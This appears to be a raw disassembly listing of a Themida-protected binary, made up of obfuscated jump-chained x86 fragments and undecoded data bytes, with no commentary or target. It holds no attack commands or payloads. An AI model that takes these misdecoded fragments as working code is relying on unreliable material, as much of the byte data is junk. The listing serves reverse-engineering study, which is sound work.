		db 95h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E4C7:				; CODE XREF: Themida_:0054C434j
		push	edx
		push	esp
		pop	edx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_54FCA0
; ---------------------------------------------------------------------------
		dd 405E089h, 2D000000h,	4, 8B240487h, 34892424h, 34685024h
		dd 5819E743h, 18BCCD05h, 0E9C689E6h, 0FFFF9E4Ah, 0E92434FFh
		dd 0FFFFE84Ch, 81241C89h, 4ECh,	24348900h, 0FC058BBEh
		dd 0C1DEF76Ah, 0F68104E6h, 9F3336Eh, 68h, 24342900h, 0FFA5C8E9h
		dd 0D8005CFFh, 76B35366h, 8B66D828h, 0C481241Ch, 2, 4EC81h
		dd 0C890000h, 77B65224h, 73E9DEF6h, 51000018h, 0F4EE9h
		dd 24D25C00h, 2DE99C24h, 31FFFF78h, 1C33241Ch, 24248B24h
		dd 8B2434FFh, 0EC83240Ch, 240C8904h, 0BE56E189h, 7D3E04A9h
		dd 0EE81DEF7h, 82C1FB53h, 535EF101h, 4BBh, 5BD90100h, 5C240C87h
		dd 725868h, 242C8900h, 242C8B54h, 0E904C483h, 0FFFFCF43h
		dd 2474FF57h, 721E904h,	5580000h, 4, 4BD55h, 0B6E90000h
		dd 66FFFFE2h, 0E2C16658h, 0EA816605h, 166FA24h,	47E95AD0h
		dd 87FFFFABh, 895C243Ch, 5A542414h, 0FF870AE9h,	240C89FFh
		dd 0C8000CB1h, 0AAABE959h, 4B9FFFFh, 89000000h,	240C8BCEh
		dd 4C481h, 81E90000h
		db 92h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E60F:				; CODE XREF: Themida_:0054B23Ej
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_549157
; ---------------------------------------------------------------------------
		dw 0DFF7h
		dd 0C76BEF81h, 0ADE99DFAh
		db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E62F:				; CODE XREF: Themida_:0054D474j
		mov	ebx, 4B940E61h
		sub	ebx, 2C2E5C9Fh
		dec	ebx
		jmp	loc_54DB0B
; ---------------------------------------------------------------------------
aFsP		db 'fS³p',0
		db 0DDh, 66h, 5Bh
		dd 0FF9AA4E9h, 0B60F66FFh, 0E161E902h, 3C89FFFFh, 8F1AE924h
		dd 0F757FFFFh, 555F241Ch, 0B21BC3BDh, 0B7CE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54E66E:				; CODE XREF: Themida_:00550587j
		shl	ch, 3
		add	ch, 72h
		xor	ch, 0AAh
		and	al, ch
		pop	ecx
		shl	al, 3
		add	al, 0B1h
		sub	bl, 73h
		sub	bl, al
		add	bl, 73h
		jmp	loc_547ABF
; ---------------------------------------------------------------------------

loc_54E68C:				; CODE XREF: Themida_:0054CCA6j
		mov	edx, esp
		push	1120h
		jmp	loc_54DE41
; ---------------------------------------------------------------------------
		dd 4BDh, 5DE90100h, 31240C33h, 7EE9240Ch, 81FFFF81h, 4C4h
		dd 0DACF8100h, 0E9339F14h, 0FFFF9A89h, 1CDCF281h, 0C2811EFBh
		dd 726228D2h, 0F281DAF7h, 3F590FCEh, 8F37F281h,	85E93661h
		dd 5EFFFFBBh, 8B24048Fh, 81E92424h, 30FFFFC3h, 65B353D8h
		dd 18E1E9h
		db 0
; ---------------------------------------------------------------------------

loc_54E6F1:				; CODE XREF: Themida_:0054C758j
		and	ecx, ebp
		jmp	loc_54EAB6
; ---------------------------------------------------------------------------
		dd 0D305D12Dh, 0E66CE943h, 8858FFFFh, 0E959870Ch, 0FFFF7688h
		dd 0F628E9ADh, 0E281FFFFh, 16B57CCBh, 1ADE953h,	89510000h
		dd 4C181E1h, 81000000h,	4E9h, 0CCFFE900h, 0C009FFFFh, 0F1B7840Fh
		dd 8953FFFFh, 1B6851E3h, 59244A0Ch, 0C17E981h, 0EB81244Ah
		dd 405C1D04h, 0C381CB01h, 405C1D04h, 0BA525559h, 3C3770C5h
		dd 3770C1BDh, 184E93Ch,	2D680000h, 8900005Ch, 0D3BA2414h
		dd 292484F0h, 0E8215AD5h, 81242C8Bh, 4C4h, 0FC00900h, 0FFF59484h
		dd 1C77FFFFh, 0F6243481h, 596F4F3Eh, 0EAE9h, 4BF5700h
		dd 0E9000000h, 0FFFFA1A7h, 0E9D428h
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54E7AF:				; CODE XREF: Themida_:005493EFj
		sub	esi, ebx
		pop	ebx
		shr	esi, 1
		sub	esi, 0BFBDC85Ch
		xor	ebp, esi
		jmp	loc_552246
; ---------------------------------------------------------------------------
		db 54h,	8Fh, 4
		dd 24048324h, 241C8B04h, 8104C483h, 4C3h, 4C38300h, 13B268h
		dd 241C8900h, 42474FFh,	24048F5Bh, 6824248Bh, 6CCAh, 54243C89h
		dd 4C7815Fh, 55000000h,	4BDh, 0D3F4E900h, 0FF57FFFFh, 5F042474h
		dd 8B24048Fh, 21E92424h, 5C00001Bh, 0FFC9E5E9h,	4C483FFh
		dd 515BD801h, 0BA3704B9h, 0F1E9552Fh, 5CFFFFBCh, 24048B66h
		dd 76BB68h, 24048900h, 3766E9h,	48B6600h, 8B545324h, 0C481241Ch
		dd 4, 8B685057h, 8B7FE44Dh, 0C4832404h,	0BA524804h, 0FFFFFFFFh
		dd 0E95AD001h, 2C3Dh, 0E9E68956h, 0FFFFF173h, 65A168h
		dd 240C8900h, 47536853h, 65E90000h, 57FFFFEDh, 0FFB00BE9h
		dd 0C8B66FFh, 0F7D0E924h, 0D1F7FFFFh, 0FFA7C9E9h, 80C328FFh
		dd 4C687FC3h, 8900004Dh, 59E92404h
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E8AF:				; CODE XREF: Themida_:0054AE45j
		xchg	ebx, [esp]
		jmp	loc_54DF50
; ---------------------------------------------------------------------------
		db 5Eh
		dd 205h, 24043300h, 33240431h, 0A2E92404h, 0BB000024h
		dd 3BB2C16h, 0FF7E8FE9h, 242489FFh, 4240483h, 0D12AE95Bh
		dd 5653FFFFh, 183F7768h, 20B0E977h, 0D5310000h,	93EB815Ah
		dd 2934A078h, 2692E9EBh, 0CF890000h, 0CA80E959h, 5B54FFFFh
		dd 4C381h, 68560000h, 4, 3563E9h, 4C48100h, 28000000h
		dd 43D2CD8h, 4BD46844h,	14890000h, 0F84BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54E932:				; CODE XREF: Themida_:00546FC9j
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		jmp	loc_5464CD
; ---------------------------------------------------------------------------

loc_54E940:				; CODE XREF: Themida_:0054D4ABj
		mov	esi, [esp]
		push	5D29h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	esi
		jmp	loc_551F0B
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 4B9h, 244C0100h, 515E5904h, 2072BB53h, 0D9897552h, 81D9F75Bh
		dd 1C1h, 0AA8CE900h, 0D028FFFFh, 5A2434FFh, 0FF9796E9h
		dd 0B3B951FFh, 810FA342h, 2E349FE9h, 3E1C10Bh, 6F59E981h
		dd 814125C2h, 0BDEF29E9h, 59CE01A8h, 0FFA03DE9h, 4E883FFh
		dd 8B240487h, 1C892424h, 1F74E924h, 0C310000h, 240C3324h
		dd 2434875Ch, 2F03E95Ch, 0EB810000h, 17372246h,	0FF8BADE9h
		dd 240489FFh, 5C31585Bh, 34FF0424h, 0C415E924h,	0C781FFFFh
		dd 4, 5C42B850h, 0BA520DC2h, 2078010Eh,	835AD029h, 0B0E901C0h
		dd 81FFFFECh, 0FC010AEEh, 0EC815D3Bh, 4, 68240489h, 43013717h
		dd 483C2D58h, 0E0C114E1h, 58535005h, 0E993435Bh, 0FFFFA973h
		dd 0E990B252h, 2506h, 0E924248Bh, 0FFFF804Dh, 4B8h, 92C68100h
		dd 16D940Ch, 92EE81C6h,	586D940Ch, 0FF9C03E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54EA65:				; CODE XREF: Themida_:00549270j
		sub	bl, 38h
		jmp	loc_54DA35
; ---------------------------------------------------------------------------
		db 1, 0DEh, 0E9h
		dd 0FFFFEA1Ch, 0E95BDA01h, 0FFFFF381h, 31243433h, 34332434h
		dd 24248B24h, 0FF7307E9h, 24248BFFh, 582434FFh,	0FFBB8FE9h
		dd 55EDD1FFh, 5D241CF7h, 0DB86F581h, 0E901DC43h, 2BA525Dh
		dd 1000000h, 1D54E9D1h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54EAB6:				; CODE XREF: Themida_:0054E6F3j
		mov	ebp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5500EB
; ---------------------------------------------------------------------------
		db 66h
		dd 68240C8Bh, 4AADh, 89243489h,	0D39AE9E6h, 0BF57FFFFh
		dd 24BC3A75h, 0B899C781h, 0FD010731h, 5DEB295Fh, 19EDE9h
		dd 48F5900h, 24248B24h,	4A30F66h, 91E99C24h, 89FFFF72h
		dd 0B151241Ch, 45C98035h, 8871C180h, 686659CFh,	89667757h
		dd 38B5240Ch, 80B9C780h, 0EF2829EFh, 8029C780h,	8B66B9EFh
		dd 7FE9240Ch, 51FFFFCFh, 1346E9h, 0E9D32900h, 0FFFF8317h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54839B
; ---------------------------------------------------------------------------
		dw 2D66h
		dd 5667382h, 29665FC2h,	0F3B8E9D8h, 0BF57FFFFh,	47EF0F97h
		dd 591BEF81h, 0F7811BD5h, 27D2E219h, 815FFD29h,	37708FC5h
		dd 81C50139h, 37708FEDh, 65C58139h, 580BCB54h, 0FFFBDDE9h
		dd 284CB8FFh, 0C28916ACh, 2E70E9h, 0E9E38900h, 0FFFF8639h
		dd 0ECCEBABFh, 1515E93Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54EBAA:				; CODE XREF: Themida_:0054B0C5j
		xor	dword ptr [esp], 3ED70185h
		pop	ebx
		xor	ebx, 3ED70185h
		pop	ebp
		xor	ebx, ebp
		pop	ebp
		jmp	loc_548ACB
; ---------------------------------------------------------------------------
		db 89h,	0F8h, 5Fh
		dd 48E2BB53h, 0D8216B05h, 0E9D8F75Bh, 0FFFFAA22h, 0C4BB850h
		dd 0D00D13E0h, 0E975E511h, 0FFFFDB84h, 2AE95854h, 57FFFFE4h
		dd 42474FFh, 24048F5Fh,	1489665Ch, 30E1B224h, 148B66D0h
		dd 1EE95524h, 80FFFFA4h, 0E6803CCEh, 0B7536684h, 0E9FE2879h
		dd 0FFFF8E5Dh
; ---------------------------------------------------------------------------

loc_54EC18:				; CODE XREF: Themida_:0054DBE6j
		push	ecx
		mov	ecx, 3F8A77E8h
		mov	edx, 0E1FEE177h
		add	edx, ecx
		jmp	loc_54CE9A
; ---------------------------------------------------------------------------
		dw 0C201h
		dd 0FF7BDAE9h, 0EFCB81FFh, 0F7076D52h, 4FF381D3h, 81902F5Bh
		dd 4D4464C2h, 81DA0144h, 4D4464EAh, 241C8B44h, 4C481h
		dd 0D0210000h, 0E924148Bh, 0FFFFD950h, 6824048Bh, 7D37h
		dd 89243C89h, 4BD55E7h,	1000000h, 0FEE95DEFh
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54EC7B:				; CODE XREF: Themida_:00550622j
		mov	ecx, esp
		push	eax
		mov	eax, 4DE658A8h
		sub	eax, 5FA40EA0h
		shl	eax, 8
		sub	eax, 424A07FCh
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		sub	ecx, ebx
		pop	ebx
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	edi
		mov	edi, 4
		add	ecx, 0BD7099Ch
		add	ecx, edi
		sub	ecx, 0BD7099Ch
		pop	edi
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		pop	dword ptr [edi+20h]
		jmp	loc_54A195
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0B9E92C77h, 5FFFFF70h, 0FF79EDE9h, 0B6E959FFh, 53FFFFB4h
		dd 0E9505B54h, 2Eh, 2404895Ch, 52535854h, 6E0B2CBAh, 70D3BB21h
		dd 0D30124CCh, 0FF7E42E9h, 241433FFh, 0E9241431h, 0A87h
		dd 86F3C580h, 0AD7E9F5h, 58B80000h, 252B8F0Ah, 10240952h
		dd 4085435h, 58C30100h,	4C381h,	1C870000h, 0A2E95C24h
		dd 33FFFFC6h, 1C31241Ch, 241C3324h, 60E9525Ch, 81FFFFD4h
		dd 4ECh, 0BE18E900h, 3768FFFFh,	89000047h, 47BF243Ch, 53000539h
		dd 0C381E389h, 4, 4EB81h, 19E90000h, 0C1FFFFC9h, 6E905E3h
		dd 8B000020h, 0F662424h, 9C2404B3h, 0FF7003E9h,	7E2C1FFh
		dd 6890E281h, 0CA814B1Eh, 54E748D4h, 7F56F281h,	0D5896FC3h
		dd 5A2434FFh, 81E18951h, 4C1h, 4C18300h, 5C240C87h, 0FFC353E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54EDC1:				; CODE XREF: Themida_:0054C29Dj
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_54974B
; ---------------------------------------------------------------------------
		db 87h
		dd 248B243Ch, 240C8B24h, 4EC8353h, 83242489h, 5B042404h
		dd 79F6BF57h, 0BE564FF7h, 69C128E4h, 0E907E6C1h, 0FFFF978Fh
		dd 0BA241489h, 421112B3h, 20FE9h, 4E98100h, 87000000h
		dd 895C240Ch, 0BBE9243Ch, 0B9FFFF8Dh, 5CAF1C54h, 8904EC83h
		dd 0ADBA2414h, 0E9C3D1E4h, 0FFFF8F25h, 53568h, 24048900h
		dd 0EC835854h, 9179E904h, 8B5DFFFFh, 0C4832434h, 4BB5304h
		dd 1000000h, 8066E9DEh,	8145FFFFh, 653813E5h, 0FFED8122h
		dd 0E9FFFFFFh, 3389h, 8904EC83h, 0E953240Ch, 0FFFFBAC5h
		dd 0CE81DEF7h, 34432925h, 146DF681h, 81465903h,	0D4C58EEh
		dd 0E9F30198h, 0FFFFF41Ah, 0E904EC83h, 0FFFFEAA4h
; ---------------------------------------------------------------------------

loc_54EE94:				; CODE XREF: Themida_:00551007j
		pop	edx
		xor	[edi+24h], eax
		jmp	loc_551370
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 6B6E9FB9h, 0D0C18165h, 41372714h, 0FF9C4EE9h, 248B66FFh
		dd 6EDAE924h, 1C33FFFFh, 241C3124h, 8B241C33h, 88642424h
		dd 0CAE1E902h, 2966FFFFh, 2D665DEBh, 296668BAh,	0E4F8E9D8h
		dd 0EC83FFFFh, 240C8904h, 720768h, 242C8900h, 3CBDh, 0E04EE900h
		dd 0F781FFFFh, 6158555Dh, 4858F781h, 0F9016168h, 0F3BD555Fh
		dd 8137A32Eh, 4A018EF5h, 1ED8113h, 81000000h, 2F44B4E5h
		dd 2E5C133h, 0C581DDF7h, 80A410D2h, 0E95DE901h,	0FFFF8058h
		dd 0C105EDC1h, 0ED8107EDh, 0C73674D3h, 495DE929h, 0D5ABE981h
		dd 0CA01C8AFh, 2EDAE959h, 0E9AC0000h, 0FFFFF793h, 51C8BE0Fh
		dd 0C181E189h, 4, 4E981h, 0C870000h, 1CA6E924h,	0BD550000h
		dd 73AD5891h, 0E9D5F74Dh, 0FFFF8291h, 33E2EB81h, 0F3293388h
		dd 0FFA386E9h, 0BDFFh, 0E8890000h, 89F8295Dh, 2F4AE9C7h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54EF9A:				; CODE XREF: Themida_:00550788j
		mov	[esp], eax
		push	esp
		pop	eax
		jmp	loc_5474F3
; ---------------------------------------------------------------------------
		dd 0F701C783h, 1C3AE9DFh, 30AC0000h, 0EC8152D8h, 4, 0B3241C89h
		dd 0DD885126h, 0FEE9EA88h, 5F000001h, 0E9E78957h, 0FFFFA966h
		dd 242C8155h, 53D6498h,	98C3815Bh, 89053D64h, 79E95BDAh
		dd 89FFFF82h, 48E9243Ch, 89000024h, 3A68243Ch, 5F227B76h
		dd 6A2C781h, 0E94F4BAAh, 0FFFFD273h, 465AD621h,	5E1BF681h
		dd 0E9520C06h, 14F4h, 6863F281h, 0EA817B60h, 4EF527E7h
		dd 0FFCFF8E9h, 4C281FFh, 0E9000000h, 17EFh, 8704C783h
		dd 52E9243Ch
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F03B:				; CODE XREF: Themida_:00548643j
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		and	eax, edi
		pop	edi
		or	eax, eax
		jz	loc_55224C
		push	dword ptr [edi+1Ch]
		mov	ecx, [esp]
		push	2B21h
		mov	[esp], edx
		mov	edx, esp
		push	3578h
		mov	[esp], edi
		push	4E7Eh
		mov	[esp], esi
		mov	esi, 70B90325h
		add	esi, 8F46FCDFh
		jmp	loc_54BFD6
; ---------------------------------------------------------------------------
		db 0ADh, 81h, 0ECh
		dd 4, 0BF243C89h, 58FF139Ah, 0D8E9F829h, 68FFFF8Ah, 3FE562Dh
		dd 0FFD56EE9h, 4BA52FFh, 89000000h, 0C6815AD0h,	3A4E1C30h
		dd 23E9C601h, 89FFFFE9h, 86BD242Ch, 815B2E1Bh, 0C050B4C5h
		dd 81E5D161h, 0F9093EEDh, 0D392E94Ah, 0EF81FFFFh, 69D37487h
		dd 46FC781h, 2C8B5DABh,	4C48324h, 0E9243C87h, 0FFFFA38Ch
		dd 0C159C821h, 0EB0D06E0h, 0E955A075h, 0FFFFE41Fh, 5645D5F7h
		dd 7B3114BEh, 0F1EE93Fh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54F106:				; CODE XREF: Themida_:00546007j
		pop	ebx
		mov	ecx, [esp]
		add	esp, 4
		pop	eax

loc_54F111:				; CODE XREF: Themida_:00546A03j
		push	ebx
		jmp	loc_545EBF
; ---------------------------------------------------------------------------

loc_54F117:				; CODE XREF: Themida_:0054C942j
		add	esp, 4
		jmp	loc_55222C
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF6C70h, 4EC81h, 14890000h, 1948BA24h, 0DBE9108Ch
		dd 0ADFFFFF5h, 2D7DBA52h, 0D0293579h, 1B6D2D5Ah, 0D8297BCCh
		dd 0FF9BDAE9h, 9ECB81FFh, 50586F15h, 27577E68h,	24048B42h
		dd 81E28952h, 4C2h, 4C28300h, 5C241487h, 128F6335h, 0E9C3297Bh
		dd 1666h, 5C240C87h, 68241489h,	487978C4h, 87DAF75Ah, 87D3F7DAh
		dd 0E3BB53DAh, 31284173h, 0F7E95BDAh, 66FFFF94h, 0E924048Bh
		dd 0FFFFC686h, 0F095E95Eh, 0F581FFFFh, 0E5335E44h, 55DEB31h
		dd 178324FCh, 0FC2DD801h, 5B178324h, 0FF8ABEE9h, 1C8B59FFh
		dd 0E1895124h, 4C181h, 18E90000h, 0B0FFFF71h, 809804F7h
		dd 84E9D0EBh
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54F1E3:				; CODE XREF: Themida_:00547A3Fj
		inc	edx
		dec	edx
		jmp	loc_5493C6
; ---------------------------------------------------------------------------
		dw 0F581h
		dd 43BE7F05h, 565DEF21h, 0F3DF3EBEh, 5EF701FDh,	5984EE81h
		dd 0FE0147BEh, 5984C681h, 835F47BEh, 48904ECh, 2B824h
		dd 0C6010000h, 24348758h, 0FF9530E9h, 24048FFFh, 0FFACD5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54F229:				; CODE XREF: Themida_:0054E2CFj
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		xor	dword ptr [esp], 497D38CFh
		pop	ebp
		jmp	loc_547F37
; ---------------------------------------------------------------------------
		db 0E9h, 52h, 6Bh
		dd 5053FFFFh, 0C388A8B0h, 14D8E9h, 88C58800h, 0D25FE9EAh
		dd 5457FFFFh, 9E9505Fh,	81FFFFCAh, 0E71A5BE7h, 55F7810Ah
		dd 0E90C4478h, 0FFFFA7A5h
; ---------------------------------------------------------------------------

loc_54F270:				; CODE XREF: Themida_:00552216j
		xor	eax, esi
		pop	esi
		sub	edi, eax
		pop	eax
		sub	edi, 183D62CAh
		std
		push	eax
		push	edx
		push	ebp
		mov	ebp, 0A5E1E71h
		mov	edx, ebp
		jmp	loc_547555
; ---------------------------------------------------------------------------
		dd 0E924148Bh, 0FFFFB9C0h, 0E930FF66h, 0FFFF6AF8h, 4B9h
		dd 59CA2900h, 5C241487h, 89243C89h, 0B825E9E7h,	0BD55FFFFh
		dd 0B6A6211h, 0F4E9D5F7h, 5B000009h, 5BBDE381h,	0F3814A45h
		dd 84013A1h, 685BDA01h,	238Ch, 0FFBBE0E9h, 0C9F581FFh
		dd 50395B6Ah, 413030B8h, 9E13E93Dh, 0E959FFFFh,	0FFFFCA78h
; ---------------------------------------------------------------------------

loc_54F2F0:				; CODE XREF: Themida_:0054D892j
		pop	eax
		add	bh, dh
		sub	bh, 0E3h
		sub	bh, 51h
		jmp	loc_5513EA
; ---------------------------------------------------------------------------

loc_54F2FE:				; CODE XREF: Themida_:00546617j
		pop	ebp
		push	eax
		mov	eax, 43981E26h
		neg	eax
		add	eax, 1
		shr	eax, 5
		or	eax, 18FF3350h
		and	eax, 251A504Dh
		sub	eax, 0D2D4B246h
		add	edx, eax
		pop	eax
		add	edx, 695D7813h
		mov	[edi+20h], edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_54A195
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 4C78100h, 87000000h, 535C243Ch, 13DE9h, 0FECC8600h
		dd 0BCFDE9CCh, 1FB3FFFFh, 0C380DBF6h, 0AAEA80F2h, 0C1E9DA00h
		db 6Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F363:				; CODE XREF: Themida_:0055157Cj
		push	esi
		push	esp
		pop	esi
		push	ecx
		jmp	loc_54724D
; ---------------------------------------------------------------------------
		dd 4C481h, 5F210000h, 2434FF1Ch, 52241C8Bh, 0BDE9E289h
		dd 83000024h, 545104C4h, 58E95059h, 81FFFF7Dh, 827D8BC6h
		dd 5EF201B4h, 8704EA83h, 895C2414h, 0C668243Ch,	89000006h
		dd 30682414h, 5A2B4971h, 4AAE68h, 24348900h, 7C6637BEh
		dd 112DE956h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54F3C2:				; CODE XREF: Themida_:0054DDDEj
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_54BE07
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 0F3h
		dd 0E9445573h, 2410h, 6E79685Eh, 0C6E90000h, 81FFFFC0h
		dd 7F08B0EBh, 81C32922h, 7F08B0C3h, 29EB8122h, 0E95D7971h
		dd 2569h, 58240429h, 9965E940h,	0C87FFFFh, 0D7895C24h
		dd 8324148Bh, 0F83104C4h, 6B5D685Fh, 0C890000h,	85FDB924h
		dd 0BE566C80h, 75A8465Fh, 69E9F001h, 81FFFFFDh,	4C2h, 24148700h
		dd 69F8E95Ch, 0C381FFFFh, 4, 0E904C383h, 0FFFFD838h
; ---------------------------------------------------------------------------

loc_54F458:				; CODE XREF: Themida_:0054CA69j
		mov	[esp], eax
		jmp	loc_54994E
; ---------------------------------------------------------------------------

loc_54F460:				; CODE XREF: Themida_:0054C180j
		mov	edx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 25406A0h
		jmp	loc_54BF04
; ---------------------------------------------------------------------------
		db 1, 0C1h, 58h
		dd 4C181h, 0C870000h, 57215C24h, 0E14EE91Ch, 2BBFFFFh
		dd 1000000h, 80A0E9DEh,	34FFFFFFh, 23685824h, 89000076h
		dd 6468243Ch, 8900005Eh, 0FCE92424h, 54000028h,	4BD5559h
		dd 1000000h, 0E9555DE9h, 0FFFFF1DCh, 4C181h, 60E90000h
		dd 5AFFFF81h, 0FFA16AE9h, 9CB050FFh, 282CC004h,	8B58C200h
		dd 61E9240Ch, 89FFFF8Dh, 7968241Ch, 5BE3BD00h, 15BDA31h
		dd 1B67E9D3h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54F4F2:				; CODE XREF: Themida_:0054C4C5j
		mov	[esp], edx
		mov	edx, 7FDF6115h
		inc	edx
		shl	edx, 6
		shl	edx, 6
		xor	edx, 0F6116004h
		sub	ecx, 574205CBh
		add	ecx, edx
		add	ecx, 574205CBh
		pop	edx
		add	ecx, 4
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	esi
		mov	esi, 1
		jmp	loc_54E199
; ---------------------------------------------------------------------------
		db 0FFh, 32h, 0E9h
		dd 0FFFF6850h, 575FFE01h, 4BFh,	1BC68100h, 1619037h, 1BBA52FEh
		dd 29619037h, 875F5AD6h, 95C2434h, 9B840FC9h, 50FFFF9Ah
		dd 405E089h, 0E9000000h, 0FFFF704Ch
; ---------------------------------------------------------------------------

loc_54F578:				; CODE XREF: Themida_:0054A6D1j
		xor	ebp, edx
		pop	edx
		xor	ebp, 6B1C4C49h
		add	ebp, 0AAC988E6h
		add	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		add	edx, 4
		jmp	loc_54D971
; ---------------------------------------------------------------------------
		db 0F7h, 0DDh, 81h
		dd 0D9656FF5h, 0F1BE92Ch, 15D0000h, 2434FFF1h, 4C4835Eh
		dd 2C181h, 0C330000h, 240C3124h, 0E9240C33h, 11A9h, 55240C89h
		dd 21424BBDh, 0EDD14D68h, 3E5C14Dh, 40CDF581h, 0E989CC7Ah
		dd 5E9C15Dh, 0B932F181h, 0E1817122h, 3EF05E1Dh,	0E906E9C1h
		dd 0FFFF8B90h, 242CD366h, 6792E99Ch, 0E956FFFFh, 0FFFFB488h
		dd 9D1C77FFh, 14D35966h, 7DE99C24h, 68FFFF67h, 6BF0h, 81241489h
		dd 4ECh, 242C8900h, 4EC81h, 4890000h, 31FFB824h, 9F2D51B9h
		dd 525A543Ch, 9B0B9EBAh, 0E9D00108h, 214Fh, 89ECD6BEh
		dd 5EF529B4h, 34FFE829h, 1B77E924h, 0D3F70000h,	0FFE10EE9h
		dd 57E589FFh, 581588BFh, 78BB536Bh, 1529405h, 241C8BDFh
		dd 8104C483h, 396A2EE7h, 0D31FE978h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F682:				; CODE XREF: Themida_:00546CECj
		add	edi, 633211BCh
		add	edi, 7A586D55h
		add	edi, ecx
		sub	edi, 7A586D55h
		push	eax
		jmp	loc_5510B9
; ---------------------------------------------------------------------------
dword_54F69C	dd 0E92434FFh, 0FFFF7C85h, 0E9243489h, 20FCh, 67196DB8h
		dd 0F7D8F74Ah, 60E805D8h, 47E9014Eh, 54FFFF83h,	40BD5558h
		dd 0E94AF67Fh, 0FFFF8534h, 4C681h, 0EE810000h, 4, 5C243487h
		dd 0FFAFCFE9h, 2474FFFFh, 48F5804h, 66645C24h, 0A1E90289h
		dd 33FFFF66h, 1FE9242Ch, 81FFFF80h, 93844EFh, 42E98100h
		dd 16B7523h, 42C181F9h,	0FF6B7523h, 525F2434h, 0C281E289h
		dd 4, 0E904C283h, 0FFFFBE03h, 0BB53575Eh, 159A5346h, 9DCEB81h
		dd 0DF89A11Fh, 0E9241C8Bh, 0FFFFEF6Fh, 8097F280h, 0D78872F2h
		dd 0FFD888E9h, 8CEA81FFh, 294C1700h, 1628E9C2h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54F756:				; CODE XREF: Themida_:00551A3Dj
		add	dword ptr [esp], 0C9367D8h
		mov	eax, [esp]
		add	esp, 4
		push	esi
		mov	esi, 2346815h
		push	edi
		mov	edi, 1EBD61C1h
		and	esi, edi
		mov	edi, [esp]
		add	esp, 4
		xchg	edx, esi
		xchg	esi, edx
		not	esi
		xchg	esi, edx
		xchg	edx, esi
		and	esi, 4FDC1BE1h
		shr	esi, 4
		sub	esi, 0F84919E6h
		jmp	loc_54FF7A
; ---------------------------------------------------------------------------
		db 33h
		dd 15C2414h, 0E99C2404h, 0FFFF65ECh, 1B1DEE81h,	0F7016DEDh
		dd 4EC835Eh, 83242C89h,	0C8904ECh, 48ED6824h, 81590FC4h
		dd 0C448EBE9h, 59CD890Fh, 41E9EF01h, 81FFFF6Dh,	5D580CF1h
		dd 59CD0123h, 2C8BE989h, 4C48124h, 83000000h, 0F18101E9h
		dd 66FF38DCh, 0FFF0A1E9h, 0E9C6FEFFh, 0FFFFE46Ch
; ---------------------------------------------------------------------------

loc_54F7FC:				; CODE XREF: Themida_:0054C920j
		sub	esp, 4
		jmp	loc_5465F6
; ---------------------------------------------------------------------------
		dd 0F028212Ch, 5A662104h, 4C04F000h, 0EC83515Ah, 241C8904h
		dd 0C0B1A2B3h, 0E980C9FEh, 0B4C18001h, 0D4E980h, 7D79E9D9h
		dd 7F05FFFFh, 0E9BA5A7Ah, 0FFFFD594h, 0B450665Ch, 66E32805h
		dd 0EDC38058h, 0E935EB80h, 3D0h, 0C7815F54h, 4,	0FFD69DE9h
		dd 87E950FFh, 50FFFFB9h, 34149868h, 45E9587Eh
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54F86B:				; CODE XREF: Themida_:0054AE25j
		mov	[esp], ecx
		jmp	loc_545D94
; ---------------------------------------------------------------------------
		db 55h
		dd 725D3ABDh, 0B6B7E928h, 6855FFFFh, 6D3Ah, 50242489h
